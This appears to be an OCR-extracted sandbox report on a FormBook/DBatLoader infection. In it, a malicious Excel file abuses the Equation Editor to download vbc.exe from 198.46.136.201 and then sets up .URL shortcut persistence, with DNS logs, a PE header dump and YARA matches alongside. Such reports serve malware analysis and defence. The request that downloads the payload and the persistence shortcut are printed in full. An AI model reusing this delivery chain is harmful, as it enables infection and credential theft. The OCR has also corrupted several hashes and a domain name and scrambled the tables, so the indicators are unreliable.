Preview:

C:\Users\Public\vbc.exe

MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\user\\Esfimbxd.exe">), ASCII text, with CRLF line terminators
dropped

77

4.903985281350129

false

3:HRAbABGQYmMTWAX+6IWGTudBYsGKdwSy:HRYFVmTWD6JDTSBYsbny
DASEB9F6091E25CF09F95B75EDF5D747

E39E7A25F00ACC133AD0A4032545DB3776FAED6A
C9DAACBF3481AAFA136428FA1039EFBOD57C831A2D4DF4E1592F7F9290F700F8

29221177DB2E32A8296C106DA7814C9401A18EC434D3CC48D085EB7E09CCACS6E79BF75BFODFAAD710FF44B01A37712FB9355B8023EFA8ALFFB047185095DD!
A

false

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\dxbmjfsE.url,
Author: @itsreallynick (Nick Carr)

unknown

[InternetShortcut]..URL=file:"C:\\Users\\user\\Esfimbxd.exe"..Iconindex=87..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

697856

6.715012052682817

false
12288:CIEpAb3iVUYfqUe+L7IMIbv7tkgD8BcFcePyaW:CI8G3DYfq9+hMNTMO8Cbm
7D68426EC31E1BC7C5E12A9E23837173
A477AE983254FE49643E050EA426439378F81D43
7195589BA87F4B77BC10AF665070180CF807FF7D2F8198743248EDDA2E85B6A5
E8997369F3ADE98C449ED070094F253E6BDEF6B7D541420C2F63C82CB47A8739E57CDA4ADF3A0F7E7B55A673795D665367D2AE36DA40ADEFF69016298960E737
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 36%

unknown

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

CDFV2 Encrypted
7.970277132047898

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

4514808437 .xIsx

234568
0b1244570453cc560192b00e942239e9
6ce2f17a9ffh5640d69d07c71a5f2711482567fd

53ea97de19540a414997e31c383830b6ff1a5fb7120c1bf
7ccf493280bc22b3d
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General

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp
Dec 2, 2021 18:59:13.732973099 CET

Dec 2, 2021 18:59:15.490228891 CET
Dec 2, 2021 18:59:41.771482944 CET
Dec 2, 2021 18:59:44.868844032 CET
Dec 2, 2021 18:59:52.297008991 CET

Dec 2, 2021 18:59:54.264414072 CET

DNS Answers

Timestamp Source IP

Dec 2, 2021 8.8.8.8
18:59:13.756037951

CET

Dec 2, 2021
18:59:15.522192001
CET

Dec 2, 2021
18:59:15.522192001
CET

Dec 2, 2021
18:59:41.812405109
CET

Dec 2, 2021
18:59:44.911422968
CET

Dec 2, 2021
18:59:44.911422968
CET

Dec 2, 2021
18:59:52.319015026
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8
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Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Source IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID
0x64e8

Oxaabc

Oxaabc

0x89fd

0xdbf0

0xdbf0

Oxfeaa

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

033105e669fb7dac0e8f58e5671d064571248cf10b3aa76
Ofel3fe6al02ecad06f0e171936404ae289887e040ca7la
734ecfbdd40585c0f487afedb37d8c7daa

6144:tsgYFviP6CH/BNhEIUBJ5D48yEVS2dsgUmOrdkU
igF:tsg+iPhZz8BDM8yEdsvmOrdIx

ede2aaB8aadb4bcb4
Trans ID OP Code Name Type
0x64e8 Standard query  onedrive.live.com A (IP address)
()
Oxaabc Standard query  kg7x1g.am. A (IP address)
(0) files.1drv.com
0x89fd Standard query  onedrive.live.com A (IP address)
(0)
0xdbf0 Standard query  kg7x1g.am. A (IP address)
(0) files.1drv.com
Oxfeaa Standard query  onedrive.live.com A (IP address)
(0)
0xd1c3 Standard query  kg7x1g.am. A (IP address)
(0) files.1drv.com
Name CName Address Type
onedrive.| odc-web- CNAME
ive.com geo.onedrive.akadns.net (Canonical
name)
kq7x1g.am. am-files.fe.1drv.com CNAME
files.1drv.com (Canonical
name)
am-files.f odc-am-files- CNAME
e.ldrv.com geo.onedrive.akadns.net (Canonical
name)
onedrive.| odc-web- CNAME
ive.com geo.onedrive.akadns.net (Canonical
name)
kq7x1g.am. am-files.fe.1drv.com CNAME
files.1drv.com (Canonical
name)
am-files.f odc-am-files- CNAME
e.ldrv.com geo.onedrive.akadns.net (Canonical
name)
onedrive.| odc-web- CNAME
ive.com geo.onedrive.akadns.net (Canonical
name)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 2, 2021 8.8.8.8 192.168.2.22 Oxd1c3 No error (0) kg7x1g.am. am-files.fe.1drv.com CNAME IN (0x0001)
18:59:54.301794052 files.1drv.com (Canonical

CET name)

Dec 2, 2021 8.8.8.8 192.168.2.22 Oxd1c3 No error (0) am-files.f odc-am-files- CNAME IN (0x0001)
18:59:54.301794052 e.ldrv.com geo.onedrive.akadns.net (Canonical

CET name)

HTTP Request Dependency Graph

e 198.46.136.201

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 198.46.136.201 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
kBytes

Timestamp transferred Direction Data

Dec 2, 2021 0 ouT GET /1100/vbc.exe HTTP/1.1

18:59:03.953989983 CET Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWG64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 198.46.136.201

Connection: Keep-Alive

Dec 2, 2021 1 IN HTTP/1.1 200 OK

18:59:04.135901928 CET Date: Thu, 02 Dec 2021 17:59:04 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.11 PHP/7.4.26
Last-Modified: Thu, 02 Dec 2021 04:16:21 GMT
ETag: "aa600-5d2220d845288"
Accept-Ranges: bytes
Content-Length: 697856
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 50 00 02 00 00 00 04 00 Of 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 Oe 1f b4 09 cd 21 b8 01
4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e
3332 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00
00 00 00 00 00 00 e0 00 8e 81 Ob 01 02 19 00 9e 05 00 00 04 05 00 00 00 00 00 10 ac 05 00 00 10 00 00 00 b0 05 00 00
00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 Ob 00 00 04 00 00 00 00 00 00
02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 €0 05
00 0a 21 00 00 00 a0 06 00 00 66 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 06 00 6¢ 63 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 06 00 18 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
43 4f 44 45 00 00 00 00 5c 9¢ 05 00 00 10 00 00 00 9e 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 6
044 4154 41 00 00 00 00 80 14 00 00 00 b0 05 00 00 16 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 c0 42 53 53 00 00 00 00 00 a5 0d 00 00 00 d0 05 00 00 00 00 00 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 c0 2e 69 64 61 74 61 00 00 Oa 21 00 00 00 e0 05 00 00 22 00 00 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00
40 00 00 cO 2e 74 6¢ 73 00 00 00 00 10 00 00 00 00 10 06 00 00 00 00 00 00 da 05 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 06 00 00 02 00 00 00 da 05 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 50 2e 72 65 6¢ 6f 63 00 00 6¢ 63 00 00 00 30 06 00 00 64 00 00 00 dc 05 00 00 00 00 00 00 00 00 00 00
00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 66 04 00 00 a0 06 00 00 66 04 00 00 40 06 00 00 00 00 00 00 00 00 00
00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 10 Ob 00 00 00 00 00 00 a6 0a 00 00 00 00 00 00 00 00
00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: MZP@!L!This program must be run under Win32$7PEL"B*@ @!fOlc CODE\ 'DATA@BSS.idata!"@.tls.rdata
@P.reloclcOd@P.rsrcff@ @P @P

Code Manipulations

Statistics
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Behavior

\E' Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2612 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

18:58:20

02/12/2021

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

false

"C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding
0x13f4f0000

28253536 bytes

D53B85E21886D2AF9815C377537BCAC3

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Written
Registry Activities Show Windows behavior
Key Created
Key Value Created
Analysis Process: EQNEDT32.EXE PID: 2784 Parent PID: 596
General
Start time: 18:58:45
Start date: 02/12/2021
Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit): true
Commandline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase: 0x400000
File size: 543304 bytes
MDS5 hash: A87236E214F6D42A65F5DEDAC816AECS

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Key Created
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true
true
C, C++ or other language
high

Show Windows behavior

Show Windows behavior
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Analysis Process: vbc.exe PID: 2016 Parent PID: 2784

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Copyright Joe Security LLC 2021

18:58:49

02/12/2021

C:\Users\Public\vbc.exe

true

"C:\Users\Public\vbc.exe"

0x400000

697856 bytes
7D68426EC31E1BC7C5E12A9E23837173

true

true

Borland Delphi

.

.

.

o

.

.

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498505335.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498480365.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498627216.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498862779.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498678238.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498733473.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498702228.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499081550.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000002.525659304.0000000001E8C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499010523.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498814770.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498598880.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.482158842.0000000001EA0000.00000004.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.480503780.0000000001E7C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.479950965.0000000001E7C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498651349.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499260635.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.480681894.0000000001E8C000.00000004.00000001.sdmp, Author:
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.

.

Joe Security
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499284882.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.526861084.0000000004990000.00000004.00000001.sdmp, Author:
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000004.00000002.526861084.0000000004990000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.526861084.0000000004990000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.527023129.0000000072481000.00000020.00000001.sdmp, Author:
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000004.00000002.527023129.0000000072481000.00000020.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.527023129.0000000072481000.00000020.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498894184.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.480350918.0000000001E8C000.00000004.00000001.sdmp, Author:
Joe Security
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499111193.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498529438.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499217073.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498552553.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498960821.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.481290433.0000000001E7C000.00000004.00000001.sdmp, Author:
Joe Security
Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.482088353.0000000001E90000.00000004.00000001.sdmp, Author:
Joe Security
Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.482210070.0000000001E7C000.00000004.00000001.sdmp, Author:
Joe Security
Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.479891596.0000000001EA4000.00000004.00000001.sdmp, Author:
Joe Security
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499152325.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499053483.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498574791.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498790069.00000000039CC000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498758895.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)
Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.480431968.0000000001EA0000.00000004.00000001.sdmp, Author:
Joe Security
Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000004.00000003.481026953.0000000001EA4000.00000004.00000001.sdmp, Author:
Joe Security
Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.499194499.0000000004204000.00000004.00000001.sdmp, Author:
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@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURlhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000004.00000003.498986637.0000000004204000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Reputation: low
File Activities Show Windows behavior
File Created
File Written
File Read
Registry Activities Show Windows behavior

Key Value Created

Analysis Process: logagent.exe PID: 1268 Parent PID: 2016

General

Start time: 18:59:10

Start date: 02/12/2021

Path: C:\Windows\SysWOWS64\logagent.exe
Wow64 process (32bit): true

Commandline: C:\Windows\System32\logagent.exe
Imagebase: 0x4a0000

File size: 95232 bytes

MD5 hash: EA7D55E6964AA852BC7AEGF1C3349A55
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.522632126.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000000.522632126.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.522632126.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.613019160.0000000000190000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.613019160.0000000000190000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.613019160.0000000000190000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.619325801.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.619325801.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.619325801.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.524711132.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000000.524711132.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.524711132.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.522033457.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000000.522033457.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.522033457.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.613597049.00000000006B0000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000002.613597049.00000000006B0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.613597049.00000000006B0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.520406918.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000000.520406918.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.520406918.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 1764 Parent PID: 1268

General

Start time: 18:59:15

Start date: 02/12/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:
Imagebase:
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File size: 3229696 bytes

MDS5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000000.552620615.000000000977D000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,

Source:

00000007.00000000.552620615.000000000977D000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000000.552620615.000000000977D000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000000.571508744.000000000977D000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000007.00000000.571508744.000000000977D000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000000.571508744.000000000977D000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior

Analysis Process: Esfjmbxd.exe PID: 1264 Parent PID: 1764

General

Start time: 18:59:16

Start date: 02/12/2021

Path: C:\Users\user\Esfjmbxd.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Esfjmbxd.exe"

Imagebase: 0x400000

File size: 697856 bytes

MD5 hash: 7D68426EC31E1BC7C5E12A9E23837173
Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible

shortcut usage for .URL persistence, Source:
00000008.00000003.565073378.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565679840.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.608536572.000000000481C000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000002.608536572.000000000481C000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.608536572.000000000481C000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544671819.0000000001D1C000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.566149960.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565115877.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
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shortcut usage for .URL persistence, Source:
00000008.00000003.565865181.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

